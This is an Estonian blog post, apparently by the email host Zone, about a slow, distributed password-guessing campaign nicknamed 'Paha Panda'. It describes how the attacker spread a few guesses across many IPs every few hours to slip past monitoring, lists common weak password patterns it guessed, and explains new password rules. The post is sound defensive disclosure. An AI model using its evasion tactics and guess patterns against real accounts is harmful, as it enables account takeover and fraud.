Jõurünnet teostatakse tavaliselt juhuslike stringide läbiproovimise teel või sõnastikuründe abil ning võimalikult suure efektiivsuse nimelt proovitakse lühikese aja jooksul läbi suur hulk erinevaid salasõna kandidaate. Jõuründe muudab ebaefektiivseks see, et seda on suhteliselt lihtne tuvastada.

See tegevus, mis meile logist vastu vaatas, oli teistsugune.

“Paha Panda”

Vältimaks tuvastamist, tegutseb konkreetset rünnakut teostav kurjategija meelega aeglaselt, metoodiliselt ja väga kannatlikult.

Protseduur, mida kasutaja andmete arvamiseks kasutati, oli iga sihtmärgi puhul sarnane.

Ühel heal päeval ilmub logisse 5-6 kurjategija võrgustikku kuuluvat IP aadressi, millest igaüks katsetab sihtmärgi peal mõnd salasõna kandidaati. Sellele katsele järgneb 2-3 tundi vaikust. Siis ilmub ründaja taas välja ja proovib järgmise 5-6 erineva IP pealt. Jälle 2-3 tundi vaikust ja uus katse. Selline õngitsemine võib kesta nädalaid.

Iga sihtmärgi kallal töötab kurjategija tilkuva vee järjepidevusega, mis kivisse auku uuristab.

Ja see järjepidevus viib mõnel juhul ka sihile. Mõnel juhul õnnestus see kurjategijal juba 6 katse pealt, teisel juhul kulus eduks poolteist kuni kaks tuhat katset. Ühe konkreetse sihtmärgi puhul kulutas kurjategija eesmärgini jõudmiseks 553 päringut, nendega alustati 3. mail ja eduka tulemuseni jõuti 14. mail. Seejuures sooritati need päringud 445 erineva IP pealt.

Selles ründe iseloomus peegeldub omal moel mingi aasialik stoiline rahu, mis kombinatsioonis paljude kurjategija botneti Hiina päritolu IP aadressidega on pannud mind teda “Pahaks Pandaks” kutsuma 🙂

“Panda” üheks relvaks on aeglus, millega petetakse ära monitooringusüsteemid. Kui üks IP aadress teeb iga 2-3 tunni tagant mõnele kontole ühe ebaõnnestunud sisselogimiskatse, ei jää see ühtegi monitooringusse kinni, sest selline paranoia tase muudaks valepositiivsete tuvastuste hulga liiga suureks. Isegi kuu lõikes uurides jäävad “Panda” kasutatavad IP aadressid kaugelt välja ebaõnnestunud autentimiskatseid sooritavate süsteemide esiviiekümnest.

Kindlasti on nii mõnelgi kogenud IT-spetsialistil siinkohal kulm juba kipras ja küsimus keelel – kuidas on võimalik salasõnu nii väheste arvamistega salasõna ära arvata? Vastus on lihtne – “Panda” teab, et energiat tuleb kokku hoida, seetõttu ei käi ta läbi juhuslikke salasõna kombinatsioone, vaid kasutab teise relvana kasutajate endi halbu käitumismustreid.

Inimesed on halvad juhuarvugeneraatorid. Kui paluda inimestel valida juhuslik arv 1-10 vahel, valib väidetavalt ebaproportsionaalne hulk neist numbri 7 (trollidega, nagu ülal näha, on sarnane lugu). Sama kordub salasõnade määramisel. Mõte juhuslikust tähtede, numbrite ja sümbolite jadast tuleb pähe vaid vähestele.

Paljud hakkavad otsima abi sellest, mis ekraanil, klaviatuuril või parajasti meelel. Nii muutub väga tõenäoliseks, et e-posti aadressi siim@domeen.tld looja määrab sellele salasõnaks kombinatsiooni nimest Siim ja mingist numbrite jadast. Salasõnade variatsioonid nagu “Siim123”, “Siim1234”, “Siim666”, “Siim2017” on levinumad, kui julgeme endale tunnistada. Sama levinud on ilmselt klaviatuurilt tuletatud salasõnade kombinatsioonid nagu “Qwe123”, “Asdasd123”, “Qwerty666” jne või aadressiribalt tuletatud “Zone123”, “Zone.ee123” jne.

Nii ei raiska meie antikangelasest kurjategija “Panda” ennast juhuslike stringide äraarvamisega või täiemahulise sõnastikuründega. Ta on valinud välja suure hulga väga levinud halbu salasõnade mustreid ja tiksutab tema sihtmärkide hulgas läbi proovida.

“Panda” sihtmärgid on esmapilgul täiesti suvalised, ilmselt on need saadud veebilehtede kaapimise teel ja muudest allmaailmale tuntud allikatest. Silma jääb siiski kontakt@, contact@ ja info@ aadresside suur osakaal.

Aadresside internetist kogumisele viitab seegi, et mitmed aadressid, mida sihtmärgina kaaluti, sisaldasid kirjavigu – näiteks otsiti ühe telekanali töötaja e-posti kontot domeenist, mis erines tema tööandja tegelikust domeenist vaid ühe märgi võrra.

Võimalik kahju

Mida kurja “Panda” nende lahti murtud postkastidega korda saata võib? Väga paljut.

Kui mäletate, siis eelmisel aastal kirjutas Andris populaarsest skeemist, milles e-posti abil ettevõtetele sokutatakse valearveid (“Tõestisündinud lugu e-posti võltsimise tõttu kaotatud rahast”). Eelnevalt kirjeldatud viisil lahti murtud raamatupidaja postkast on sellisele valearvetega skeemitajale kulla hinnaga.

Loomulikult on sellised postkastid ka võrratuteks relvadeks spämmeritele. Domeenid ja postkastid, mis pole kunagi rämpsposti saatnud ja mille väljuvad kirjad kannavad usaldusväärsuse nimel DKIM-i antud autentsustõendi ja SPF-i ning DMARC-i allikakinnitusega? Just sellise spämmiga kurjategija meie radarile sattuski.

Kui kurjategija sooviks, siis võiks ta loomulikult ka postkastis tuulata ja sealt väärtuslikumat sisu endale sebida. Näiteks võib ta panna kokku aadressiraamatu inimestest, kellega tihedalt suheldakse ja korraldada klassikalise “Olen välismaal lennujaamas, rahakott varastati ära, ole hea kanna mulle kiirelt paar sotti” kampaania. Samasuguse õngitsusrünnaku saaks korraldada ka postkastiomaniku enda vastu.

Halvemal juhul on sama salasõna inimesel kasutusel mõnes olulises infosüsteemis, mille olemasolu suudab kurjategija näiteks poskasti sisu järgi kindlaks teha. Siis võidakse kompromiteerida juba mitte ainult postkasti sisu, vaid palju olulisemaid andmeid.

Kui “Panda” tahaks, saaks ta ka WannaCry või Petya pahavara niimoodi otse postkasti ujutada ja käivitada väljapressimisega lõppeva rünnaku. Viimasest sellisest ründest kirjutab RIA https://www.ria.ee/ee/uus-lunavaralaine.html

Ja hoidke alt, kui postkast kuulub riigiasutusele. “Panda” võib oma riigi struktuuridega sujuvate suhete omamise nimel head ja paremat ka neile sokutada.

Parem karta kui kahetseda. Kui tundsid ülalpool ära mõne oma salasõna mustri, siis muuda seda kohe.

Kokkuvõtteks

Miks ma sellest intsidendist kirjutan?

Esiteks tahame kõigile meelde tuletada kui halvad on ülalkirjeldatud mustrid salasõnades.

Teiseks pole me kindlad, kas teised e-posti serverite haldajad on “Paha Panda” tegutsemist tähele pannud – loodetavasti annab käesolev postitus neile ajendi seda kontrollida.

Kolmandaks annab see lugu loodetavasti selgust motiivi osas, miks Zone e-posti salasõnadele esitatavaid nõudeid muudab.

Me toome nõudmised salasõnale kaasaega. Rohkem kui salasõna keerukust, hindame me selle pikkust ning üritame takistada halbade mustrite kasutamist. Halbadeks loeme üldlevinud salasõnu; salasõnu, mille sisu saab tuletada kaitstava ressurssi kontekstist ja muud äraarvatavat. Uue e-posti salasõna miinimumpikkus on Zones nüüd 10 märki.

Rohkem salasõnu stiilis “Minu Lemmikpuu On Remmelgas” ja vähem stiilis “Siim123” 😀